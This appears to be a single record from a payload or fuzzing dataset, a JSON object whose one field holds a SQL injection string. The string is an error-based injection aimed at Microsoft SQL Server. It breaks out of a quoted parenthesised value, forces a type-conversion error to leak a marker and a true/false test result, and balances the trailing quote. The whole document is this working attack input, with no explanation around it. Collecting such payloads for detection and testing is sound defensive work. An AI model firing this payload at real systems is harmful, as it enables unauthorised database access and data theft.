{"arg":"50') AND 3899=CONVERT(INT,(SELECT CHAR(113)+CHAR(98)+CHAR(112)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (3899=3899) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(98)+CHAR(107)+CHAR(120)+CHAR(113))) AND ('nikr'='nikr"}